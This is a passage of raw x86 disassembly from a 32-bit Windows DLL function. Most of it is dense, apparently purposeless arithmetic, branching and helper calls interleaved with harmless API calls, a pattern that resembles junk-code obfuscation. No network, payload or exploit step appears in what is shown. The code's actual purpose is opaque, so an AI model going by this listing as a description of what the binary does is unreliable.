cmp dword [ebp - 0xeec], 1
jne 0x1004c407
cmp dword [ebp - 0xee8], 0
je 0x1004c4a3
jmp 0x1004c4f8
mov edx, dword [ebp - 0x54]
not edx
mov dword [ebp - 0x38], edx
movzx eax, word [ebp - 8]
shl eax, 4
mov byte [ebp - 3], al
cmp dword [ebp - 0x20], 0
jne 0x1004c430
mov dword [ebp - 0x424], 1
jmp 0x1004c43a
mov dword [ebp - 0x424], 0
movzx eax, word [0x100a211c]
not eax
add eax, dword [ebp - 0x424]
cdq
mov ecx, dword [0x100a2140]
sub ecx, eax
mov eax, dword [0x100a2144]
sbb eax, edx
mov dword [ebp - 0x1774], ecx
mov dword [ebp - 0x1770], eax
mov ecx, dword [ebp - 0x1774]
or ecx, dword [ebp - 0x1770]
jne 0x1004c47f
mov dword [ebp - 0x428], 1
jmp 0x1004c489
mov dword [ebp - 0x428], 0
mov edx, dword [ebp - 0x428]
mov dword [ebp - 0x30], edx
mov eax, dword [0x100a2140]
add eax, 0x500e
mov byte [str.HeapSize], al
jmp 0x1004c4f8
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0x2a0c], edx
add ecx, 1
mov word [0x100a20f0], cx
movsx eax, word [0x100a20c8]
cdq
xor eax, dword [ebp - 0x64]
xor edx, dword [ebp - 0x60]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
mov eax, 0x6f04
mov word [ebp - 0xc], ax
movzx eax, byte [str.HeapSize]
cdq
mov ecx, eax
xor ecx, dword [ebp - 0x5c]
movzx eax, byte [str.HeapSize]
cdq
sub eax, ecx
mov byte [str.HeapSize], al
mov ecx, dword [0x100a20d8]
xor esi, esi
mov eax, dword [ebp - 0x18]
cdq
add eax, 0x9ed4c0aa
adc edx, 0xcd57d
mov dword [ebp - 0x177c], ecx
mov dword [ebp - 0x1778], esi
mov dword [ebp - 0x1784], eax
mov dword [ebp - 0x1780], edx
mov edx, dword [ebp - 0x177c]
cmp edx, dword [ebp - 0x1784]
jne 0x1004c991
mov eax, dword [ebp - 0x1778]
cmp eax, dword [ebp - 0x1780]
jne 0x1004c991
mov ecx, dword [ebp - 0x18]
add ecx, dword [0x100a20dc]
cmp ecx, 1
jne 0x1004c991
movzx eax, byte [0x100a207a]
cdq
mov dword [ebp - 0x178c], eax
mov dword [ebp - 0x1788], edx
mov edx, dword [ebp - 0x1788]
cmp edx, dword [ebp - 0x58]
jl 0x1004c595
jg 0x1004c589
mov eax, dword [ebp - 0x178c]
cmp eax, dword [ebp - 0x5c]
jbe 0x1004c595
mov dword [ebp - 0x42c], 1
jmp 0x1004c59f
mov dword [ebp - 0x42c], 0
movzx ecx, byte [0x100a207a]
cmp ecx, 0x19
jle 0x1004c5b7
mov dword [ebp - 0x430], 1
jmp 0x1004c5c1
mov dword [ebp - 0x430], 0
mov edx, dword [ebp - 0x42c]
cmp edx, dword [ebp - 0x430]
jle 0x1004c915
movzx eax, byte [ebp - 2]
cdq
mov dword [ebp - 0x1794], eax
mov dword [ebp - 0x1790], edx
mov eax, dword [0x100a20d4]
cmp eax, dword [ebp - 0x1790]
jg 0x1004c60d
jl 0x1004c601
mov ecx, dword [0x100a20d0]
cmp ecx, dword [ebp - 0x1794]
jae 0x1004c60d
mov dword [ebp - 0x434], 1
jmp 0x1004c617
mov dword [ebp - 0x434], 0
cmp dword [0x100a20d4], 0
jg 0x1004c637
jl 0x1004c62b
cmp dword [0x100a20d0], 0x5e
jae 0x1004c637
mov dword [ebp - 0x438], 1
jmp 0x1004c641
mov dword [ebp - 0x438], 0
mov edx, dword [ebp - 0x434]
cmp edx, dword [ebp - 0x438]
jge 0x1004c752
cmp dword [ebp - 0x38], 0
jne 0x1004c665
mov dword [ebp - 0x43c], 1
jmp 0x1004c66f
mov dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x43c]
movzx ecx, byte [ebp - 1]
xor eax, ecx
movzx edx, word [ebp - 0xc]
sub edx, dword [0x100a20e4]
movzx ecx, word [0x100a2118]
add edx, dword [ebp - 0x34]
add ecx, edx
imul eax, ecx
mov byte [0x100a2027], al
movsx edx, word [0x100a20f0]
sub edx, 0x7955f26d
mov word [ebp - 0x14], dx
movzx eax, word [0x100a2138]
imul eax, dword [ebp - 0x34]
mov ecx, dword [0x100a20dc]
add ecx, dword [ebp - 0x2c]
and eax, ecx
jne 0x1004c6da
xor edx, edx
mov dword [ebp - 0x179c], 1
mov dword [ebp - 0x1798], edx
jmp 0x1004c6e5
xorps xmm0, xmm0
movlpd qword [ebp - 0x179c], xmm0
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x1c]
xor ecx, ecx
mov edx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
push ecx
push eax
push esi
push edx
call fcn.10073ef0
sub eax, dword [ebp - 0x179c]
not eax
mov dword [0x100a2120], eax
movzx eax, word [ebp - 0xc]
mov ecx, 4
imul edx, ecx, 0xddda
mov dword [edx + 0x100ff140], eax
mov eax, dword [0x100a2108]
mov ecx, dword [0x100a210c]
mov dword [ebp - 0x2a10], ecx
mov byte [0x100a203b], al
movsx edx, word [ebp - 0x14]
sub edx, dword [ebp - 0x30]
add edx, dword [0x100a20f8]
mov byte [0x100a203b], dl
jmp 0x1004c915
movsx eax, word [0x100a20c8]
cmp eax, 0xcdbec9a7
jae 0x1004c76c
mov dword [ebp - 0x440], 1
jmp 0x1004c776
mov dword [ebp - 0x440], 0
movzx ecx, byte [ebp - 3]
test ecx, ecx
jne 0x1004c78a
mov dword [ebp - 0x444], 1
jmp 0x1004c794
mov dword [ebp - 0x444], 0
mov edx, dword [ebp - 0x440]
cmp edx, dword [ebp - 0x444]
je 0x1004c8d6
mov eax, dword [0x100a2120]
sub eax, dword [ebp - 0x18]
cdq
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
movzx eax, byte [0x100a207a]
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
movsx eax, word [ebp - 0x14]
add eax, 0x9eb3
cdq
mov dword [0x100a2148], eax
mov dword [0x100a214c], edx
movzx eax, byte [ebp - 1]
sub eax, 0xcd
cdq
add eax, dword [0x100a20f8]
adc edx, dword [0x100a20fc]
mov dword [ebp - 0x17a4], eax
mov dword [ebp - 0x17a0], edx
mov eax, dword [ebp - 0x17a4]
or eax, dword [ebp - 0x17a0]
jne 0x1004c81c
xor ecx, ecx
mov dword [ebp - 0xfbc], 1
mov dword [ebp - 0xfb8], ecx
jmp 0x1004c827
xorps xmm0, xmm0
movlpd qword [ebp - 0xfbc], xmm0
movsx edx, word [0x100a20f0]
test edx, edx
jne 0x1004c83e
mov dword [ebp - 0x448], 1
jmp 0x1004c848
mov dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x448]
imul eax, dword [ebp - 0x30]
mov ecx, eax
xor esi, esi
movzx eax, word [ebp - 0xc]
cdq
mov edi, dword [ebp - 0x4c]
mov ebx, dword [ebp - 0x48]
sub edi, eax
sbb ebx, edx
or ecx, edi
or esi, ebx
push esi
push ecx
mov edx, dword [ebp - 0xfb8]
push edx
mov eax, dword [ebp - 0xfbc]
push eax
call fcn.10073ef0
mov dword [0x100a2120], eax
mov ecx, dword [0x100a2100]
xor edx, edx
mov eax, dword [0x100a214c]
add ecx, dword [0x100a2148]
adc edx, eax
mov dword [ebp - 0x17ac], ecx
mov dword [ebp - 0x17a8], edx
mov ecx, dword [ebp - 0x17ac]
or ecx, dword [ebp - 0x17a8]
jne 0x1004c8c0
mov edx, 1
mov word [ebp - 0xbc], dx
jmp 0x1004c8c9
xor eax, eax
mov word [ebp - 0xbc], ax
mov cx, word [ebp - 0xbc]
mov word [ebp - 0x14], cx
jmp 0x1004c915
movzx edx, byte [str.HeapSize]
test edx, edx
je 0x1004c915
movzx eax, word [0x100a2118]
sub eax, dword [0x100a20d8]
mov word [0x100a2118], ax
movzx ecx, byte [ebp - 2]
add ecx, dword [0x100a20f4]
mov byte [ebp - 2], cl
mov edx, dword [0x100a2114]
add edx, 0x8645bb0
mov eax, dword [ebp - 0x20]
add eax, edx
mov dword [ebp - 0x20], eax
jmp 0x1004c342
movsx edx, byte [str.y4The_server_is_requ]
test edx, edx
jne 0x1004c9a8
mov dword [ebp - 0x44c], 1
jmp 0x1004c9b2
mov dword [ebp - 0x44c], 0
movzx eax, byte [ebp - 2]
imul eax, dword [ebp - 0x44c]
test eax, eax
je 0x1004ca2b
cmp dword [ebp - 0x24], 0
je 0x1004c9dc
mov ecx, dword [0x100a2100]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov word [0x100a20c8], ax
jmp 0x1004ca26
mov edx, dword [0x100a20f8]
or edx, dword [0x100a20fc]
je 0x1004ca26
mov eax, dword [0x100a20f4]
sub eax, 0xe455
mov dword [ebp - 0x24], eax
mov ecx, dword [0x100a2150]
mov edx, dword [0x100a2154]
push 0
push 0xbcc5
push edx
push ecx
call fcn.10073ef0
mov word [0x100a20f0], ax
movzx eax, word [ebp - 8]
sub eax, 0xa3
mov word [0x100a20e0], ax
jmp 0x1004cb92
mov ecx, dword [ebp - 0x64]
or ecx, dword [ebp - 0x60]
je 0x1004caa8
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0x17b4], edx
mov dword [ebp - 0x17b0], eax
mov ecx, dword [ebp - 0x17b4]
or ecx, dword [ebp - 0x17b0]
je 0x1004ca6c
mov eax, dword [0x100a2120]
cdq
mov dword [ebp - 0xfc4], eax
mov dword [ebp - 0xfc0], edx
jmp 0x1004ca7e
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xfc4], edx
mov dword [ebp - 0xfc0], eax
mov cl, byte [ebp - 0xfc4]
mov byte [0x100a203b], cl
mov edx, dword [ebp - 0x34]
sub edx, 0x76c790d7
mov dword [ebp - 0x1c], edx
movzx eax, byte [ebp - 2]
imul ecx, eax, 0x6d9285f
mov dword [ebp - 0x34], ecx
jmp 0x1004cb92
cmp dword [ebp - 0x1c], 0
jne 0x1004cac0
cmp dword [ebp - 0x38], 0
jne 0x1004cac0
mov dword [ebp - 0x450], 0
jmp 0x1004caca
mov dword [ebp - 0x450], 1
imul edx, dword [ebp - 0x450], 0xe3652051
test edx, edx
je 0x1004cb92
cmp dword [0x100a2128], 0
je 0x1004caf9
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0xfcc], eax
mov dword [ebp - 0xfc8], ecx
jmp 0x1004cb0b
mov eax, dword [0x100a2114]
cdq
mov dword [ebp - 0xfcc], eax
mov dword [ebp - 0xfc8], edx
mov edx, dword [ebp - 0xfcc]
mov dword [ebp - 0x34], edx
mov eax, dword [0x100a20e8]
mov ecx, dword [0x100a20ec]
mov dword [ebp - 0x2a14], ecx
mov word [0x100a2124], ax
movzx eax, word [0x100a211c]
cdq
push 0x6b9fb
push 0x9b42b538
push edx
push eax
call fcn.10073ef0
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
movzx eax, byte [ebp - 1]
cdq
push 0x1523b
push 0xdfdb520a
push edx
push eax
call fcn.10073ef0
mov ecx, eax
movzx eax, word [0x100a2124]
cdq
add eax, ecx
mov word [0x100a2124], ax
movsx eax, word [ebp - 0x14]
cdq
push 0x69d5e
push 0x9b121f43
push edx
push eax
call fcn.10073ef0
mov dword [0x100a20f4], eax
mov edx, dword [ebp - 0x9c]
movzx eax, word [ebp + edx*2 - 0x110]
mov ecx, dword [ebp - 0x184]
xor ecx, dword [ebp - 0x184]
mov edx, dword [ebp - 0x1538]
sub edx, dword [ebp - 0x184]
imul ecx, edx
sub eax, ecx
mov dword [ebp - 0x84], eax
movzx eax, word [ebp - 0x10]
cdq
mov dword [ebp - 0x17bc], eax
mov dword [ebp - 0x17b8], edx
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x17bc]
jne 0x1004cbea
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp - 0x17b8]
je 0x1004cbf6
mov dword [ebp - 0x454], 1
jmp 0x1004cc00
mov dword [ebp - 0x454], 0
cmp dword [ebp - 0x64], 0xe
jne 0x1004cc0c
cmp dword [ebp - 0x60], 0
je 0x1004cc18
mov dword [ebp - 0x458], 1
jmp 0x1004cc22
mov dword [ebp - 0x458], 0
mov edx, dword [ebp - 0x454]
cmp edx, dword [ebp - 0x458]
jg 0x1004cca6
movzx eax, byte [str.HeapSize]
cdq
add eax, dword [0x100a20d0]
mov byte [str.HeapSize], al
mov eax, dword [0x100a20f4]
cdq
mov ecx, dword [0x100a20d4]
push ecx
mov ecx, dword [0x100a20d0]
push ecx
push edx
push eax
call fcn.10073ef0
mov ecx, eax
mov eax, dword [0x100a20f4]
cdq
sub eax, ecx
mov dword [0x100a20f4], eax
mov edx, dword [ebp - 0x24]
xor eax, eax
push eax
push edx
mov ecx, dword [0x100a20d4]
push ecx
mov edx, dword [0x100a20d0]
push edx
call fcn.10073ef0
mov ecx, dword [0x100a20d0]
sub ecx, eax
mov eax, dword [0x100a20d4]
sbb eax, edx
mov dword [0x100a20d0], ecx
mov dword [0x100a20d4], eax
jmp 0x1004cd91
movzx eax, word [ebp - 0x10]
cdq
mov ecx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
movzx eax, byte [str.HeapSize]
cdq
mov ecx, dword [ebp - 0x40]
sub eax, dword [ebp - 0x44]
sbb edx, ecx
mov dword [ebp - 0x17c4], eax
mov dword [ebp - 0x17c0], edx
mov edx, dword [ebp - 0x17c4]
or edx, dword [ebp - 0x17c0]
jne 0x1004ccf6
mov dword [ebp - 0x45c], 1
jmp 0x1004cd00
mov dword [ebp - 0x45c], 0
mov eax, dword [0x100a20d8]
add eax, dword [ebp - 0x45c]
jne 0x1004cd21
xor ecx, ecx
mov dword [ebp - 0xfd4], 1
mov dword [ebp - 0xfd0], ecx
jmp 0x1004cd2c
xorps xmm0, xmm0
movlpd qword [ebp - 0xfd4], xmm0
mov edx, dword [ebp - 0xfd4]
mov eax, dword [ebp - 0xfd0]
mov dword [0x100a2130], edx
mov dword [0x100a2134], eax
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov eax, dword [0x100a2154]
add ecx, dword [0x100a2150]
adc edx, eax
mov eax, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
sub eax, ecx
sbb esi, edx
mov dword [0x100a20e8], eax
mov dword [0x100a20ec], esi
movsx ecx, byte [str.y4The_server_is_requ]
imul edx, ecx, 0x27e5c19c
and edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [0x100a2114]
mov byte [ebp - 3], al
mov ecx, dword [ebp - 0x84]
xor ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x84], ecx
mov edx, 0xc821
mov word [ebp - 0xc], dx
mov eax, dword [0x100a2128]
cdq
push 0xf9327
push 0x5b65954d
push edx
push eax
call fcn.10073ef0
mov byte [str.HeapSize], al
movzx eax, byte [str.HeapSize]
cdq
mov ecx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
movzx edx, byte [0x100a207a]
add edx, dword [ebp - 0x30]
imul ecx, dword [0x100a2114], 0x8b342018
imul edx, ecx
xor eax, edx
mov byte [ebp - 3], al
movzx eax, byte [ebp - 1]
cdq
mov ecx, 8
imul ecx, ecx, 0xa
mov dword [ecx + 0x102c1ce8], eax
mov dword [ecx + 0x102c1cec], edx
movsx eax, word [0x100a20f0]
sub eax, 0x93fd
cdq
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
mov edx, dword [ebp - 0x84]
sub edx, 0x32
mov dword [ebp - 0x84], edx
mov eax, 0xb103f
mov dword [0x100a2108], 0x5d78a11
mov dword [0x100a210c], eax
movzx eax, byte [0x100a207b]
cdq
mov dword [ebp - 0x17cc], eax
mov dword [ebp - 0x17c8], edx
mov ecx, dword [0x100a20d4]
cmp ecx, dword [ebp - 0x17c8]
jl 0x1004ce93
jg 0x1004ce87
mov edx, dword [0x100a20d0]
cmp edx, dword [ebp - 0x17cc]
jb 0x1004ce93
mov dword [ebp - 0x460], 1
jmp 0x1004ce9d
mov dword [ebp - 0x460], 0
cmp dword [0x100a20d4], 0
jl 0x1004cebd
jg 0x1004ceb1
cmp dword [0x100a20d0], 0x4a
jb 0x1004cebd
mov dword [ebp - 0x464], 1
jmp 0x1004cec7
mov dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x460]
cmp eax, dword [ebp - 0x464]
je 0x1004d255
mov dword [ebp - 0x188], 0x52
mov ecx, dword [ebp - 0x20]
add ecx, 0x1b7d
mov edx, dword [ebp - 0x2c]
sub edx, ecx
mov dword [ebp - 0x2c], edx
movsx eax, word [0x100a20f0]
imul ecx, eax, 0x6bc8f103
movzx edx, word [0x100a20e0]
sub edx, ecx
mov word [0x100a20e0], dx
mov eax, dword [0x100a2120]
sub eax, 1
mov dword [0x100a2120], eax
mov eax, dword [0x100a2104]
cdq
mov ecx, dword [0x100a20d0]
sub ecx, eax
mov eax, dword [0x100a20d4]
sbb eax, edx
mov dword [0x100a20d0], ecx
mov dword [0x100a20d4], eax
mov ecx, dword [0x100a2c3c]
xor edx, edx
mov dword [0x100a2108], ecx
mov dword [0x100a210c], edx
movzx eax, word [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [0x100a2104], eax
cmp dword [0x100a2104], 0
je 0x1004cf94
mov ecx, 9
mov esi, str.Lock_name
lea edi, [ebp - 0x2b78]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [ebp - 0x2b78]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x1c], eax
jmp 0x1004d231
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x34]
jne 0x1004cfa8
mov dword [ebp - 0x468], 1
jmp 0x1004cfb2
mov dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x468]
not eax
test eax, eax
je 0x1004d01c
movsx ecx, byte [0x100a203b]
imul ecx, dword [ebp - 0x24]
mov byte [ebp - 3], cl
mov edx, dword [ebp - 0x34]
sub edx, 0x34b952a1
mov word [0x100a2138], dx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
push 0
push 0x3b
push ecx
push eax
call fcn.10073ef0
mov ecx, eax
movsx eax, word [ebp - 0x14]
cdq
add eax, ecx
mov word [ebp - 0x14], ax
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x2a18], edx
add ecx, 0x1ea29b5d
movzx eax, word [ebp - 8]
cdq
add eax, ecx
mov word [ebp - 8], ax
jmp 0x1004d231
cmp dword [0x100a20f4], 0
je 0x1004d0c2
mov eax, dword [0x100a2130]
mov ecx, dword [0x100a2134]
sub eax, 0xde49
sbb ecx, 0
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], ecx
mov dx, word [ebp - 8]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x28]
sub eax, dword [0x100a2120]
mov word [0x100a2110], ax
mov ecx, 2
imul edx, ecx, 0x31d4
mov ax, word [ebp - 0x10]
mov word [edx + 0x10138540], ax
cmp dword [ebp - 0x24], 0
jne 0x1004d080
mov dword [ebp - 0x46c], 1
jmp 0x1004d08a
mov dword [ebp - 0x46c], 0
movsx eax, byte [0x100a2027]
not eax
xor eax, dword [ebp - 0x46c]
cdq
mov ecx, eax
movsx eax, word [0x100a2110]
cdq
mov edx, dword [0x100a2130]
mov esi, dword [0x100a2134]
mov dword [ebp - 0x2a1c], esi
add eax, edx
sub ecx, eax
mov dword [ebp - 0x30], ecx
jmp 0x1004d231
movzx eax, word [ebp - 8]
test eax, eax
jne 0x1004d0dc
cmp dword [ebp - 0x28], 0
jne 0x1004d0dc
mov dword [ebp - 0x470], 0
jmp 0x1004d0e6
mov dword [ebp - 0x470], 1
movsx ecx, word [ebp - 0x14]
cmp ecx, dword [ebp - 0x470]
jg 0x1004d231
movzx edx, word [ebp - 0x10]
test edx, edx
jne 0x1004d10a
mov dword [ebp - 0x474], 1
jmp 0x1004d114
mov dword [ebp - 0x474], 0
mov eax, dword [0x100a2104]
add eax, dword [0x100a2128]
cdq
mov ecx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
add ecx, eax
adc esi, edx
movzx eax, byte [ebp - 2]
not eax
sub eax, dword [ebp - 0x474]
movsx edx, word [0x100a20c8]
add eax, edx
cdq
sub ecx, eax
sbb esi, edx
mov dword [0x100a2108], ecx
mov dword [0x100a210c], esi
mov eax, dword [ebp - 0x3c]
cdq
mov ecx, dword [0x100a2148]
mov esi, dword [0x100a214c]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
movzx ecx, word [ebp - 8]
and ecx, dword [ebp - 0x1c]
xor esi, esi
xor eax, ecx
xor edx, esi
mov dword [ebp - 0x17d4], eax
mov dword [ebp - 0x17d0], edx
mov edx, dword [ebp - 0x17d4]
or edx, dword [ebp - 0x17d0]
jne 0x1004d1a4
xor eax, eax
mov dword [ebp - 0x17dc], 1
mov dword [ebp - 0x17d8], eax
jmp 0x1004d1af
xorps xmm0, xmm0
movlpd qword [ebp - 0x17dc], xmm0
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0x17dc]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x18]
xor edx, dword [ebp - 0x24]
mov dword [ebp - 0x18], edx
mov esi, dword [0x100a20dc]
xor edi, edi
and esi, dword [ebp - 0x5c]
and edi, dword [ebp - 0x58]
mov eax, dword [0x100a20e8]
mov ecx, dword [0x100a20ec]
push ecx
push eax
mov edx, dword [0x100a2144]
push edx
mov eax, dword [0x100a2140]
push eax
call fcn.10073ef0
sub esi, eax
sbb edi, edx
mov dword [ebp - 0x17e4], esi
mov dword [ebp - 0x17e0], edi
mov ecx, dword [ebp - 0x17e4]
or ecx, dword [ebp - 0x17e0]
jne 0x1004d21d
mov edx, 1
mov word [ebp - 0xbe], dx
jmp 0x1004d226
xor eax, eax
mov word [ebp - 0xbe], ax
mov cx, word [ebp - 0xbe]
mov word [ebp - 0xc], cx
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
cmp dword [ebp - 0x188], 0x12bc
jl 0x1004cf52
jmp 0x1004d2ef
movzx eax, word [0x100a2124]
test eax, eax
jne 0x1004d2ef
movzx eax, byte [ebp - 1]
cdq
push 0x1c42a
push 0xd0f2ec7c
push edx
push eax
call fcn.10073ef0
mov ecx, eax
movzx eax, word [ebp - 0xc]
cdq
and eax, ecx
mov word [ebp - 0xc], ax
mov dx, word [ebp - 0x64]
mov eax, 2
imul ecx, eax, 0x5896
mov word [ecx + 0x100eea78], dx
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x2a20], eax
sub edx, 0x2d793934
add edx, dword [0x100a20d8]
mov dword [ebp - 0x1c], edx
movzx ecx, word [0x100a20e0]
xor ecx, 0x7076
mov word [0x100a2124], cx
movzx eax, word [0x100a2118]
cdq
mov edx, dword [0x100a2130]
mov ecx, dword [0x100a2134]
mov dword [ebp - 0x2a24], ecx
add eax, edx
not eax
mov dword [0x100a20f4], eax
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov ecx, dword [ebp - 0x2c]
xor esi, esi
add ecx, 0x6ee30bca
adc esi, 0x83adc
mov dword [ebp - 0x17ec], edx
mov dword [ebp - 0x17e8], eax
mov dword [ebp - 0x17f4], ecx
mov dword [ebp - 0x17f0], esi
mov edx, dword [ebp - 0x17ec]
cmp edx, dword [ebp - 0x17f4]
jne 0x1004d409
mov eax, dword [ebp - 0x17e8]
cmp eax, dword [ebp - 0x17f0]
jne 0x1004d409
movsx ecx, byte [str.y4The_server_is_requ]
add ecx, dword [ebp - 0x2c]
cmp ecx, 1
jne 0x1004d409
mov eax, dword [ebp - 0x64]
mov edx, dword [ebp - 0x60]
mov cl, 4
call fcn.10073f30
mov word [ebp - 0xc], ax
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0x20]
add eax, edx
mov ecx, dword [ebp - 0x20]
add ecx, eax
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x18]
add edx, 8
mov byte [0x100a207b], dl
mov eax, dword [ebp - 0x3c]
add eax, 0xe1
mov word [0x100a20f0], ax
movzx ecx, byte [ebp - 3]
imul edx, ecx, 0xc7e1
mov word [ebp - 0xc], dx
jmp 0x1004ce41
movzx ecx, word [0x100a20e0]
cmp ecx, dword [ebp - 0x30]
je 0x1004d461
mov dl, byte [0x100a2c3c]
mov byte [0x100a207a], dl
mov dword [ebp - 0x18], 1
mov eax, 8
imul ecx, eax, 0x26
mov dx, word [ecx + 0x101e1fa8]
mov word [0x100a2124], dx
movsx eax, word [ebp - 0x14]
movzx ecx, word [ebp - 8]
lea edx, [ecx + eax - 0xf5de]
mov word [ebp - 8], dx
movzx eax, byte [ebp - 2]
sub eax, 0xf3
mov dword [0x100a2120], eax
jmp 0x1004d4d9
movzx ecx, word [0x100a20e0]
test ecx, ecx
jne 0x1004d4d9
movsx edx, word [0x100a20c8]
add edx, 0xbed6
mov dword [0x100a20e4], edx
mov eax, dword [0x100a2114]
sub eax, 0x17
cdq
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
mov eax, dword [0x100a2148]
mov edx, dword [0x100a214c]
mov cl, 2
call fcn.10074000
mov dword [0x100a2128], eax
mov eax, dword [0x100a2150]
mov ecx, dword [0x100a2154]
mov dword [ebp - 0x2a28], ecx
mov edx, 2
imul ecx, edx, 0xa
mov word [ecx + 0x102c1b20], ax
movzx edx, word [0x100a2118]
and edx, 0xc5
mov word [0x100a20f0], dx
mov eax, dword [ebp - 0x84]
sub eax, 1
mov dword [ebp - 0x84], eax
imul ecx, dword [ebp - 0x28], 6
mov dword [ebp - 0x30], ecx
movsx eax, byte [0x100a2027]
sub eax, 0x47
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
movzx edx, word [0x100a20e0]
add edx, 0xb8a8
mov dword [ebp - 0x24], edx
movzx eax, byte [ebp - 2]
add eax, 0x7611f771
mov word [0x100a211c], ax
mov ecx, dword [0x100a2104]
imul ecx, dword [0x100a2128]
mov dword [0x100a2104], ecx
mov edx, dword [ebp - 0x84]
sub edx, dword [ebp - 0x9c]
mov dword [ebp - 0x84], edx
movzx eax, byte [ebp - 2]
cmp dword [ebp - 0x30], eax
jb 0x1004d559
mov dword [ebp - 0x478], 1
jmp 0x1004d563
mov dword [ebp - 0x478], 0
cmp dword [ebp - 0x30], 0x2b
jb 0x1004d575
mov dword [ebp - 0x47c], 1
jmp 0x1004d57f
mov dword [ebp - 0x47c], 0
mov ecx, dword [ebp - 0x478]
cmp ecx, dword [ebp - 0x47c]
jne 0x1004d599
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov word [ebp - 0x14], ax
jmp 0x1004d5e4
movsx edx, word [0x100a2110]
test edx, edx
jne 0x1004d5aa
cmp dword [ebp - 0x20], 0
je 0x1004d5e4
movzx eax, word [0x100a20e0]
add eax, 0xdff3
cdq
mov dword [0x100a2130], eax
mov dword [0x100a2134], edx
movzx eax, word [ebp - 0x10]
movzx ecx, byte [0x100a207b]
add eax, ecx
movzx edx, word [ebp - 0x10]
imul edx, eax
mov word [ebp - 0x10], dx
mov eax, dword [0x100a2c3c]
mov dword [0x100a2104], eax
mov ecx, dword [ebp - 0x9c]
mov dx, word [ebp - 0x84]
mov word [ebp + ecx*2 - 0x110], dx
jmp 0x1004c152
mov eax, 0x6d29
mov word [0x100a2110], ax
call dword [sym.imp.USER32.dll_GetDialogBaseUnits]
mov byte [0x100a203b], al
movsx ecx, word [0x100a2110]
mov edx, dword [ebp - 0x38]
add edx, 1
cmp ecx, edx
jne 0x1004dbb2
mov eax, 1
imul ecx, eax, 0xe
movsx edx, byte [ecx + 0x100b3340]
mov eax, dword [ebp - 0x38]
add eax, edx
mov dword [ebp - 0x38], eax
mov ecx, 2
mov word [ebp - 0x10], cx
movzx edx, word [0x100a2124]
add edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x24]
mov dword [ebp - 0x24], edx
mov ax, word [0x100a2c3c]
mov word [ebp - 0x10], ax
movsx eax, word [0x100a2110]
sub eax, 0x49a
cdq
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], esi
movzx edx, byte [ebp - 3]
test edx, edx
jne 0x1004d69f
movzx eax, byte [0x100a207a]
test eax, eax
jne 0x1004d69f
mov dword [ebp - 0x480], 0
jmp 0x1004d6a9
mov dword [ebp - 0x480], 1
cmp dword [ebp - 0x38], 0xdfc
jg 0x1004d6be
mov dword [ebp - 0x484], 1
jmp 0x1004d6c8
mov dword [ebp - 0x484], 0
mov ecx, dword [ebp - 0x480]
cmp ecx, dword [ebp - 0x484]
jge 0x1004d72f
mov edx, dword [0x100a2120]
sub edx, 0x2612
mov word [ebp - 8], dx
movzx eax, word [0x100a2118]
not eax
movsx ecx, word [0x100a2110]
not ecx
sub eax, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [0x100a2114]
add eax, 0x21db
cdq
add eax, dword [ebp - 0x64]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x30]
xor eax, eax
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
push esi
push ecx
push eax
push edx
